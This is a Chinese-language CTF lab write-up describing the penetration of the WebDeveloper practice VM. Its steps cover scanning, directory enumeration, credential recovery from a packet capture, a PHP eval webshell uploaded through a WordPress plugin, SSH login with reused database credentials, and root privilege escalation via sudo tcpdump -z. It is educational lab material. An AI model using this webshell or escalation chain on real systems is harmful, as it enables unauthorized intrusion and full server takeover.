实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。
系统环境:Kali Linux 2、WebDeveloper
实验工具:不限
实验步骤和内容:
目的:获取靶机Web Developer 文件/root/flag.txt中flag。
基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。
1.发现目标,找到WebDeveloper的IP地址。
192.168.187.132
2.利用NMAP扫描目标主机,发现目标主机端口开放、服务情况。
nmap 192.168.187.132
3.若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。
因为网站开放了80端口,于是尝试登陆http。
4.利用whatweb探测目标网站使用的CMS模板。
whatweb 192.168.187.132
5.使用 Dirb 爆破网站目录,找到一个似乎和网络流量有关的目录(路径)。
dirb http://192.168.187.132
6.浏览器访问该目录(路径),发现一个cap文件。
7.利用Wireshark分析该数据包,分析TCP数据流。
通过关键词http筛选、查找到一个post的数据流,找到登录界面,得到一个网站管理员账号密码
8.利用上一步得到的信息进入网站后台。
9.从网站插件导入一句话木马
<?php @eval($_POST['需要用到的密码'])?>
我在此处设置的密码是123
10.通过中国蚁剑得到网站的相关文件,查看wp-config.php获得账号及口令。
在里面找到了数据库的账号和密码
11.SSH登录服务器—尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。
在第二个步骤查看端口开放ssh端口,于是尝试访问ssh端口。
ssh webdeveloper@192.168.187.132
但是遇到了以下的问题
在这里我们可以通过修改配置文件登陆ssh。
通过sudo vim /etc/ssh/ssh_config
打开配置文件
找到# StrictHostKeyChecking ask
修改成StrictHostKeyChecking no
回车输入:wq
保存修改
再次尝试登陆,成功登陆进入ssh。
尝试查看/root/flag.txt发现权限不足。
查看当前身份可执行的命令。
发现root权限可以使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令)
创建攻击文件
touch /tmp/exploit1
写入shellcode
echo 'cat /root/flag.txt' > /tmp/exploit
赋予可执行权限
chmod +x /tmp/exploit
利用tcpdump执行任意命令
sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root
最后就可以获得flag啦!!!
tcpdump命令详解:
-i eth0 从指定网卡捕获数据包
-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)
-z [command] 运行指定的命令
-Z [user] 指定用户执行命令
-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储
-W [num] 指定抓包数量